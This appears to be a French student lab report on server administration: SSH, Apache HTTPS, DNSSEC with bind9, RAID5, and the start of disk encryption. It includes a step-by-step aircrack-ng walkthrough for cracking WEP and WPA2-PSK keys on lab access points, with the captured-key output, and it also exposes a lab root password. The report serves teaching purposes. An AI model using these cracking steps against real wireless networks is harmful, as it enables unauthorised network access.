 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w','''&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     '''Raid Level : raid5'''&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 '''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 '''/dev/md0		/media/raid	ext4		defaults				0		1'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
